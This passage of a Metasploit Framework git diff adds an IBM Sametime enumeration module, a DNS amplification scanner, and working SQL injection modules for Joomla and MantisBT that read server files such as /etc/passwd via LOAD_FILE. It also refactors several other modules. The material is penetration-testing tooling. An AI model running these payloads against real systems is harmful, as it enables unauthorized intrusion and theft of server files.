+    print_good("New meeting room found: #{test_current}")
+
+    # print output table for discovered meeting rooms
+    roomtbl = Msf::Ui::Console::Table.new(
+      Msf::Ui::Console::Table::Style::Default,
+        'Header'  => "[IBM Lotus Sametime] Meeting Room #{test_current}",
+        'Prefix'  => "",
+        'Postfix' => "\n",
+        'Indent'  => 1,
+        'Columns' =>
+          [
+            "Key",
+            "Value"
+          ]
+      )
+
+    room_info['results'][0].each do |k, v|
+      if v.is_a?(Hash)
+        # breakdown Hash
+        roomtbl << [ k.to_s, '>>' ] # title line
+        v.each do | subk, subv |
+          roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"]  if not v.nil? or v.empty?
+        end
+      else
+        roomtbl << [ k.to_s, v.to_s || "-"]  unless v.nil?
+      end
+    end
+    # output table
+    print_good(roomtbl.to_s)
+
+  end
+
+end
diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb
new file mode 100644
index 0000000000..a8454f211d
--- /dev/null
+++ b/modules/auxiliary/gather/ibm_sametime_version.rb
@@ -0,0 +1,322 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'uri'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  URLS = [
+      '/stmeetings/about.jsp',
+      '/stmeetings/serverversion.properties',
+      '/rtc/buildinfo.txt',
+      '/stmeetings/configuration?format=json&verbose=true'
+  ]
+
+  PROXY_URLS = [
+      '/stwebclient/i18nStrings.jsp',
+      '/stwebclient/communityserver',
+      '/stwebav/WebAVServlet?Name=WebPlayerVersion'
+  ]
+
+  JSON_KEYS = [
+    'communityRef',
+    'anonymousEnabled',
+    'calinteg.enabled',
+    'docshare.fileio.codebase',
+    'docshare.native.codebase',
+    'docshare.remote.url',
+    'meetingroom.allowGuestAccess',
+    'meetingroomcenter.allowGuestAccess',
+    'meetingroomcenter.customLoginPage',
+    'meetingroomcenter.enforceCSRFToken',
+    'meetingroomcenter.enforceHiddenRooms',
+    'meetingroomcenter.passwords',
+    'meetingserver.statistics.jmx.enabled',
+    'rtc4web.enforceNonce',
+    'userInfoRedirect',
+    'userInfoUrlTemplate',
+    'meetingroomcenter.stProxyAddress',
+    'meetingroomcenter.stProxySSLAddress'
+  ]
+
+  INFO_REGEXS = [
+    # section, key, regex
+    [ 'version', 'sametimeVersion', /lotusBuild">Release (.+?)<\/td>/i ],
+    [ 'api', 'meeting',  /^meeting=(.*)$/i ],
+    [ 'api', 'appshare', /^appshare=(.*)$/i ],
+    [ 'api', 'docshare', /^docshare=(.*)$/i ],
+    [ 'api', 'rtc4web', /^rtc4web=(.*)$/i ],
+    [ 'api', 'roomapi', /^roomapi=(.*)$/i ],
+    [ 'api', 'recordings', /^recordings=(.*)$/i ],
+    [ 'api', 'audio', /^audio=(.*)$/i ],
+    [ 'api', 'video', /^video=(.*)$/i]
+  ]
+
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'IBM Lotus Sametime Version Enumeration',
+      'Description' => %q{
+        This module scans an IBM Lotus Sametime web interface to enumerate
+        the application's version and configuration information.
+      },
+      'Author'         =>
+        [
+          'kicks4kittens' # Metasploit module
+        ],
+      'DefaultOptions' =>
+        {
+          'SSL' => true
+        },
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => 'Dec 27 2013'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('TARGETURI', [ true,  "The path to the Sametime Server", '/']),
+        OptBool.new('QuerySametimeProxy', [ true,  "Automatically query Sametime proxy if found", true]),
+        OptBool.new('ShowVersions', [ true,  "Display Version information from server", true]),
+        OptBool.new('ShowConfig', [ true,  "Display Config information from server", true]),
+        OptBool.new('ShowAPIVersions', [ true,  "Display API Version information from server", false])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        OptBool.new('StoreConfigs', [ true,  "Store JSON configs to loot", true])
+      ], self.class)
+
+  end
+
+  def check_url(url, proxy='')
+
+    cgi_options = {
+      'uri' => normalize_uri(target_path, url),
+      'method' => 'GET'
+    }
+
+    if proxy.empty?
+      checked_host = datastore['RHOST']
+    else
+      checked_host = proxy
+      cgi_options.merge!({
+        'rhost' => proxy, # connect to Sametime Proxy
+        'vhost' => proxy  # set appropriate VHOST
+      })
+    end
+
+    vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(target_uri.path, url)}\"")
+    res = send_request_cgi(cgi_options)
+
+    if res.nil?
+      print_status("#{checked_host}:#{rport} - Did not respond")
+      return
+    elsif res.code == 403
+      print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}")
+      return
+    elsif res.code != 200
+      print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server")
+      return
+    end
+
+    if url.include?('WebAVServlet')
+      # special handler for WebAVServlet as body is JSON regardless of content-type
+      begin
+        res_json = JSON.parse(res.body)
+      rescue JSON::ParserError
+        print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
+      end
+      extract_webavservlet_data(res_json)
+    elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html")
+      extract_data(res.body, url)
+    elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript")
+      begin
+        res_json = JSON.parse(res.body)
+      rescue JSON::ParserError
+        print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
+      end
+      # store configuration files as loot
+      store_config(url, res_json, checked_host) if datastore['StoreConfigs']
+      extract_json_data(res_json)
+    end
+  end
+
+  # extract data from WebAVServlet
+  def extract_webavservlet_data(res_json)
+    # stwebav/WebAVServlet --> WebPlayer information
+    if res_json['Softphone']
+      @version_info['version']['Softphone'] = res_json['Softphone']
+    end
+
+    if res_json['WebPlayer']
+      @version_info['version']['WebPlayer'] = res_json['WebPlayer']
+    end
+  end
+
+  def extract_data(data, url)
+    # extract data from response
+    INFO_REGEXS.each do |regex|
+      if data =~ regex[2]
+        @version_info[regex[0]][regex[1]] = $1.chomp
+      end
+    end
+
+    if url.include?('buildinfo.txt') and data =~ /^(\d{8}-\d+)$/
+      @version_info['version']['buildinfo'] = $1.chomp
+    end
+
+    if data =~ /aboutBoxProductTitle":"(.*?)",/i
+      @version_info['version']['sametimeVersion'] = $1.chomp unless @version_info['version']['sametimeVersion']
+    end
+  end
+
+  # extract data from JSON response
+  def extract_json_data(json)
+    JSON_KEYS.each do |k|
+      @version_info['conf'][k] = json[k] if json[k]
+    end
+  end
+
+  def report
+    if @version_info['version']['sametimeVersion']
+      print_line
+      print_good("#{peer} - #{@version_info['version']['sametimeVersion']} Detected")
+    else
+      print_line
+      print_status("#{peer} - IBM Lotus Sametime information")
+    end
+
+    # configure tables
+    version_tbl = Msf::Ui::Console::Table.new(
+      Msf::Ui::Console::Table::Style::Default,
+      'Header'  => "IBM Lotus Sametime Information [Version]",
+      'Prefix'  => "",
+      'Indent'  => 1,
+      'Columns'   =>
+      [
+        "Component",
+        "Version"
+      ])
+
+    conf_tbl = Msf::Ui::Console::Table.new(
+      Msf::Ui::Console::Table::Style::Default,
+      'Header'  => "IBM Lotus Sametime Information [Config]",
+      'Prefix'  => "",
+      'Indent'  => 1,
+      'Columns'   =>
+      [
+        "Key",
+        "Value"
+      ])
+
+    api_tbl = Msf::Ui::Console::Table.new(
+      Msf::Ui::Console::Table::Style::Default,
+      'Header'  => "IBM Lotus Sametime Information [API]",
+      'Prefix'  => "",
+      'Indent'  => 1,
+      'Columns'   =>
+      [
+        "API",
+        "Version"
+      ])
+
+    # populate tables
+    @version_info['version'].each do | line |
+      version_tbl << [ line[0], line[1] ]
+    end
+
+    @version_info['conf'].each do | line |
+      conf_tbl << [ line[0], line[1] ]
+    end
+
+    @version_info['api'].each do | line |
+      api_tbl << [ line[0], line[1] ]
+    end
+
+    # display tables
+    print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions']
+    print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions']
+    print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig']
+
+    # report_note
+    report_note(
+      :host  => rhost,
+      :port  => rport,
+      :proto => 'http',
+      :ntype => 'ibm_lotus_sametime_version',
+      :data  => @version_info['version']['sametimeVersion']
+    ) if @version_info['version']['sametimeVersion']
+  end
+
+  def store_config(url, config_to_store, checked_host)
+    # store configuration as loot
+    unless config_to_store.empty?
+      loot = store_loot(
+        "ibm_lotus_sametime_configuration_" + url,
+        "text/json",
+        datastore['rhost'],
+        config_to_store,
+        ".json"
+      )
+      print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot")
+      print_status("#{checked_host}#{normalize_uri(target_uri.path, url)}\n => #{loot}")
+    end
+  end
+
+  def target_path
+    normalize_uri(target_uri.path)
+  end
+
+  def proxy?
+    @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress']
+  end
+
+  def use_proxy?
+    datastore['QuerySametimeProxy']
+  end
+
+  def proxy_ssl?
+    @version_info['conf']['meetingroomcenter.stProxySSLAddress']
+  end
+
+  def run
+    # create storage for extracted information+
+    @version_info = {}
+    @version_info['version'] = {}
+    @version_info['conf'] = {}
+    @version_info['api'] = {}
+
+    print_status("#{peer} - Checking IBM Lotus Sametime Server")
+    URLS.each do | url |
+      check_url(url)
+    end
+
+    if proxy? and use_proxy?
+      # check Sametime proxy if configured to do so
+      if proxy_ssl? and ssl
+        # keep using SSL
+        proxy = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host
+      else
+        proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host
+      end
+
+      print_good("#{peer} - Sametime Proxy address discovered #{proxy}")
+
+      PROXY_URLS.each do | url |
+        check_url(url, proxy)
+      end
+    elsif proxy?
+      print_status("#{peer} - Sametime Proxy address discovered, but checks disabled")
+    end
+
+    report unless @version_info.empty?
+  end
+
+end
diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb
new file mode 100644
index 0000000000..f987e4a68c
--- /dev/null
+++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb
@@ -0,0 +1,127 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read',
+      'Description'    => %q{
+      Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection
+      which allows an attacker to access the database or read arbitrary files as the
+      'mysql' user. This module will only work if the mysql user Joomla is using
+      to access the database has the LOAD_FILE permission.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '31459'],
+          ['URL', 'http://developer.joomla.org/security/578-20140301-core-sql-injection.html']
+        ],
+      'DisclosureDate' => 'Mar 2 2014'
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
+        OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0])
+      ], self.class)
+
+  end
+
+  def check
+
+    front_marker = Rex::Text.rand_text_alpha(6)
+    back_marker = Rex::Text.rand_text_alpha(6)
+
+    payload = datastore['CATEGORYID'].to_s
+    payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]},"
+    payload << "IFNULL(CAST(VERSION() "
+    payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
+      'vars_get' => {
+        'id' => payload
+      }
+    })
+
+    if !resp or !resp.body
+      return Exploit::CheckCode::Safe
+    end
+
+    if resp.body =~ /404<\/span> Category not found/
+      return Exploit::CheckCode::Unknown
+    end
+
+    version = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
+
+    if !version
+      return Exploit::CheckCode::Safe
+    end
+
+    version = version[1].gsub(front_marker, '').gsub(back_marker, '')
+    print_good("Fingerprinted: #{version}")
+    return Exploit::CheckCode::Vulnerable
+  end
+
+  def run
+    front_marker = Rex::Text.rand_text_alpha(6)
+    back_marker = Rex::Text.rand_text_alpha(6)
+    file = datastore['FILEPATH'].unpack("H*")[0]
+    catid = datastore['CATEGORYID']
+
+    payload = catid.to_s
+    payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}"
+    payload << ",IFNULL(CAST(HEX(LOAD_FILE("
+    payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
+      'vars_get' => {
+        'id' => payload
+      }
+    })
+
+    if !resp or !resp.body
+      fail_with("Server did not respond in an expected way. Verify the IP address.")
+    end
+
+    if resp.body =~ /404<\/span> Category not found/
+      fail_with("The category ID was invalid. Please try again with a valid category ID")
+    end
+
+    file = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
+
+    if !file
+      fail_with("Either the file didn't exist or the server has been patched.")
+    end
+
+    file = file[1].gsub(front_marker, '').gsub(back_marker, '')
+    file = [file].pack("H*")
+
+    if file == '' or file == "\x00"
+      fail_with("Either the file didn't exist or the database user does not have LOAD_FILE permissions")
+    end
+
+    path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
+
+    if path and path != ''
+      print_good("File saved to: #{path}")
+    end
+  end
+end
+
diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb
new file mode 100644
index 0000000000..f4251d6c11
--- /dev/null
+++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb
@@ -0,0 +1,104 @@
+##
+## This module requires Metasploit: http//metasploit.com/download
+## Current source: https://github.com/rapid7/metasploit-framework
+###
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "MantisBT Admin SQL Injection Arbitrary File Read",
+      'Description'    => %q{
+      Versions 1.2.13 through 1.2.16 are vulnerable to a SQL injection attack if
+      an attacker can gain access to administrative credentials.
+
+      This vuln was fixed in 1.2.17.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Jakub Galczyk', #initial discovery
+          'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-2238'],
+          ['URL', 'http://www.mantisbt.org/bugs/view.php?id=17055']
+        ],
+      'Platform'       => ['win', 'linux'],
+      'Privileged'     => false,
+      'DisclosureDate' => "Feb 28 2014"))
+
+      register_options(
+      [
+        OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd']),
+        OptString.new('USERNAME', [ true, 'Single username', 'administrator']),
+        OptString.new('PASSWORD', [ true, 'Single password', 'root']),
+        OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
+      ], self.class)
+
+  end
+
+  def run
+    post = {
+      'return' => 'index.php',
+      'username' => datastore['USERNAME'],
+      'password' => datastore['PASSWORD'],
+      'secure_session' => 'on'
+    }
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/login.php'),
+      'method' => 'POST',
+      'vars_post' => post
+    })
+
+    if !resp or !resp.body
+      fail_with("Error in server response. Ensure the server IP is correct.")
+    end
+
+    cookie = resp.get_cookies
+
+    if cookie == ''
+      fail_with("Authentication failed")
+    end
+
+    filepath = datastore['FILEPATH'].unpack("H*")[0]
+
+    payload = "save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-7856%27"
+    payload << "+UNION+ALL+SELECT+11%2C11%2C11%2C11%2CCONCAT%280x71676a7571%2CIFNULL%28CAST%28HEX%28LOAD_FILE"
+    payload << "%280x#{filepath}%29%29+AS+CHAR%29%2C0x20%29%2C0x7169727071%29%2C11%23&apply_filter_button=Apply+Filter"
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/adm_config_report.php'),
+      'method' => 'POST',
+      'data' => payload,
+      'cookie' => cookie,
+    })
+
+    if !resp or !resp.body
+      fail_with("Error in server response")
+    end
+
+    #qgjuq is prepended to the result of the sql injection
+    #qirpq is appended to the result of the sql injection
+    #This allows the use of a simple regex to grab the contents
+    #of the file easily from the page source.
+    file = /qgjuq(.*)qirpq/.match(resp.body)
+
+    file = file[0].gsub('qgjuq', '').gsub('qirpq', '')
+    file = [file].pack("H*")
+
+    path = store_loot("mantisbt.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
+
+    if path and path != ''
+      print_good("File saved to: #{path}")
+    end
+  end
+
+end
+
diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb
index 59e7720cf8..8adc4677cb 100644
--- a/modules/auxiliary/gather/natpmp_external_address.rb
+++ b/modules/auxiliary/gather/natpmp_external_address.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary
     )
 
     # also report its external address as alive
-    if inside_workspace_boundary(external_address)
+    if inside_workspace_boundary?(external_address)
       report_host(
         :host   => external_address,
         :state => Msf::HostState::Alive
diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb
index 38ce7a514d..d7ccae9a29 100644
--- a/modules/auxiliary/gather/shodan_search.rb
+++ b/modules/auxiliary/gather/shodan_search.rb
@@ -60,6 +60,9 @@ class Metasploit4 < Msf::Auxiliary
     uri = "/api/search?&q=" + Rex::Text.uri_encode(query) + "&key=" + apikey + "&page=" + page.to_s
     res = send_request_raw(
       {
+        'rhost'    => shodan_rhost,
+        'rport'    => shodan_rport,
+        'vhost'    => vhost,
         'method'   => 'GET',
         'uri'      => uri
     }, 25)
@@ -80,28 +83,25 @@ class Metasploit4 < Msf::Auxiliary
     print_status("Save results in #{datastore['OUTFILE']}")
   end
 
-  def cleanup
-    datastore['RHOST'] = @old_rhost
-    datastore['RPORT'] = @old_rport
-  end
-
-  def run
-    # create our Shodan request parameters
-    query = datastore['QUERY']
-    apikey = datastore['SHODAN_APIKEY']
-
+  def shodan_rhost
     @res = Net::DNS::Resolver.new()
     dns_query = @res.query("#{datastore['VHOST']}", "A")
     if dns_query.answer.length == 0
       print_error("Could not resolve #{datastore['VHOST']}")
-      return
-    else
-      # Make a copy of the original rhost
-      @old_rhost = datastore['RHOST']
-      @old_rport = datastore['RPORT']
-      datastore['RHOST'] = dns_query.answer[0].to_s.split(/[\s,]+/)[4]
-      datastore['RPORT'] = 80
+      raise ::Rex::ConnectError(vhost, shodan_port)
     end
+    dns_query.answer[0].to_s.split(/[\s,]+/)[4]
+  end
+
+  def shodan_rport
+    80
+  end
+
+  def run
+
+    # create our Shodan request parameters
+    query = datastore['QUERY']
+    apikey = datastore['SHODAN_APIKEY']
 
     page = 1
 
diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb
index 859283b1f8..346b202807 100644
--- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb
+++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb
@@ -128,21 +128,21 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def check
-    node_id = get_node
-
-    unless node_id.nil?
-      return Msf::Exploit::CheckCode::Vulnerable
-    end
-
     res = send_request_cgi({
       'uri' => normalize_uri(target_uri.path, "index.php")
     })
 
     if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
-      return Msf::Exploit::CheckCode::Detected
+      if get_node
+        # Multiple factors determine this LOOKS vulnerable
+        return Msf::Exploit::CheckCode::Appears
+      else
+        # Not enough information about the vuln state, but at least we know this is vbulletin
+        return Msf::Exploit::CheckCode::Detected
+      end
     end
 
-    return Msf::Exploit::CheckCode::Unknown
+    Msf::Exploit::CheckCode::Safe
   end
 
   def run
diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
index 1a7ece5952..48f17df209 100644
--- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
+++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
@@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
         ],
       'Author'        =>
         [
-          'Christian Mehlmauer <FireFart[at]gmail.com>',  # Metasploit module
+          'Christian Mehlmauer',  # Metasploit module
           'Jason A. Donenfeld <Jason[at]zx2c4.com>'       # POC
         ]
     )
diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb
index 503ed4d532..cee295d916 100644
--- a/modules/auxiliary/parser/unattend.rb
+++ b/modules/auxiliary/parser/unattend.rb
@@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
       'License'       => MSF_LICENSE,
       'Author'        =>
         [
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+          'Ben Campbell',
         ],
       'References'    =>
         [
diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb
index 2332fe5995..aee6cd5294 100644
--- a/modules/auxiliary/scanner/chargen/chargen_probe.rb
+++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
         res = r[0].to_s.strip
         if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/))
           print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)")
-          report_service(:host => rhost, :port => rport, :name => "chargen", :info => res.length)
+          report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length)
         end
       end
     rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
index 0ea10974fa..b4d2f2acbf 100644
--- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
+++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
@@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
         Deployment Services RPC service and parses out the stored credentials.
         Tested against Windows 2008 R2 x64 and Windows 2003 x86.
       },
-      'Author'         => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
+      'Author'         => [ 'Ben Campbell' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb
new file mode 100644
index 0000000000..1b9469603c
--- /dev/null
+++ b/modules/auxiliary/scanner/dns/dns_amp.rb
@@ -0,0 +1,130 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::UDPScanner
+
+  def initialize
+    super(
+      'Name'        => 'DNS Amplification Scanner',
+      'Description' => %q{
+          This module can be used to discover DNS servers which expose recursive
+          name lookups which can be used in an amplication attack against a
+          third party.
+      },
+      'Author'      => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module
+      'License'     => MSF_LICENSE
+    )
+
+    register_options( [
+      Opt::RPORT(53),
+      OptString.new('DOMAINNAME', [true, 'Domain to use for the DNS request', 'isc.org' ]),
+      OptString.new('QUERYTYPE', [true, 'Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY)', 'ANY' ]),
+    ], self.class)
+  end
+
+  def rport
+    datastore['RPORT']
+  end
+
+  def setup
+    super
+
+    # Check for DNS query types byte
+    case datastore['QUERYTYPE']
+    when 'A'
+      querypacket="\x01"
+    when 'NS'
+      querypacket="\x02"
+    when 'SOA'
+      querypacket="\x06"
+    when 'MX'
+      querypacket="\x0f"
+    when 'TXT'
+      querypacket="\x10"
+    when 'AAAA'
+      querypacket="\x1c"
+    when 'RRSIG'
+      querypacket="\x2e"
+    when 'DNSKEY'
+      querypacket="\x30"
+    when 'ANY'
+      querypacket="\xff"
+    else
+      print_error("Invalid query type!")
+      return
+    end
+
+    targdomainpacket = []
+    # Before every part of the domainname there should be the length of that part (instead of a ".")
+    # So isc.org divided is 3isc3org
+    datastore['DOMAINNAME'].split('.').each do |domainpart|
+      # The length of the domain part in hex
+      domainpartlength =  "%02x" % domainpart.length
+      # Convert the name part to a hex string
+      domainpart = domainpart.each_byte.map { |b| b.to_s(16) }.join()
+      # Combine the length of the name part and the name part
+      targdomainpacket.push(domainpartlength + domainpart)
+    end
+    # Convert the targdomainpacket to a string
+    targdomainpacket = targdomainpacket.join.to_s
+    # Create a correct hex character string to be used in the packet
+    targdomainpacket = targdomainpacket.scan(/../).map { |x| x.hex.chr }.join
+    # DNS Packet including our target domain and query type
+    @msearch_probe = "\x09\x8d\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + targdomainpacket + "\x00\x00" + querypacket + "\x00\x01"
+  end
+
+  def scanner_prescan(batch)
+    print_status("Sending DNS probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
+    # Standard packet is 60 bytes. Add the domain size to this
+    sendpacketsize = 60 + datastore['DOMAINNAME'].length
+    print_status("Sending #{sendpacketsize} bytes to each host using the IN ANY #{datastore['DOMAINNAME']} request")
+    @results = {}
+  end
+
+  def scan_host(ip)
+    scanner_send(@msearch_probe, ip, datastore['RPORT'])
+  end
+
+  def scanner_process(data, shost, sport)
+
+    # Check the response data for \x09\x8d and the next 2 bytes, which contain our DNS flags
+    if data =~/\x09\x8d(..)/
+      flags = $1
+      flags = flags.unpack('B*')[0].scan(/./)
+      # Query Response
+      qr = flags[0]
+      # Recursion Available
+      ra = flags[8]
+      # Response Code
+      rcode = flags[12] + flags[13] + flags[14] + flags[15]
+
+      # If these flags are set, we get a valid response and recursion is available
+      if qr == "1" and ra == "1" and rcode == "0000"
+        sendlength = 60 + datastore['DOMAINNAME'].length
+        receivelength = 42 + data.length
+        amp = receivelength / sendlength.to_f
+        print_good("#{shost}:#{datastore['RPORT']} - Response is #{receivelength} bytes [#{amp.round(2)}x Amplification]")
+        report_service(:host => shost, :port => datastore['RPORT'], :proto => 'udp', :name => "dns")
+        report_vuln(
+          :host => shost,
+          :port => datastore['RPORT'],
+          :proto => 'udp', :name => "DNS",
+          :info => "DNS amplification -  #{data.length} bytes [#{amp.round(2)}x Amplification]",
+          :refs => [ "CVE-2006-0987", "CVE-2006-0988" ])
+      end
+
+      # If these flags are set, we get a valid response but recursion is not available
+      if qr == "1" and ra == "0" and rcode == "0101"
+        print_status("#{shost}:#{datastore['RPORT']} - Recursion not allowed")
+        report_service(:host => shost, :port => datastore['RPORT'], :proto => 'udp', :name => "dns")
+      end
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb
index 3fd8b5392e..2f06559fd6 100644
--- a/modules/auxiliary/scanner/h323/h323_version.rb
+++ b/modules/auxiliary/scanner/h323/h323_version.rb
@@ -51,7 +51,17 @@ class Metasploit3 < Msf::Auxiliary
     conf_guid   = Rex::Text.rand_text(16)
     call_guid   = Rex::Text.rand_text(16)
 
-    pkt_setup = h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
+    pkt_setup = h323_setup_call({
+      :caller_name => caller_name,
+      :h323_id => h323_id,
+      :vendor_id => vendor_id,
+      :callee_host => callee_host,
+      :callee_port => callee_port,
+      :caller_host => caller_host,
+      :caller_port => caller_port,
+      :conf_guid => conf_guid,
+      :call_guid => call_guid
+    })
 
     res = sock.put(pkt_setup) rescue nil
     if not res
@@ -88,7 +98,10 @@ class Metasploit3 < Msf::Auxiliary
     end
 
     # Make sure the call was shut down cleanly
-    pkt_release = h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
+    pkt_release = h323_release_call({
+      :caller_name => caller_name,
+      :call_guid => call_guid
+    })
     sock.put(pkt_release) rescue nil
 
     # End timeout block
@@ -352,7 +365,16 @@ class Metasploit3 < Msf::Auxiliary
   #
   # This is ugly. Doing it properly requires a PER capable ASN.1 encoder, which is overkill for this task
   #
-  def create_user_info(h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
+  def create_user_info(opts = {})
+    h323_id = opts[:h323_id]
+    vendor_id = opts[:vendor_id]
+    callee_host = opts[:callee_host]
+    callee_port = opts[:callee_port]
+    caller_host = opts[:caller_host]
+    caller_port = opts[:caller_port]
+    conf_guid = opts[:conf_guid]
+    call_guid = opts[:call_guid]
+
     buff = "\x05" # Protocol descriminator: X.208/X.209 coded user information
 
     buff << "\x20\xa8\x06\x00\x08\x91\x4a\x00\x06\x01\x40\x02"
@@ -539,7 +561,10 @@ class Metasploit3 < Msf::Auxiliary
     "\x02\x80\x01\x00"
   end
 
-  def h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
+  def h323_release_call(opts = {})
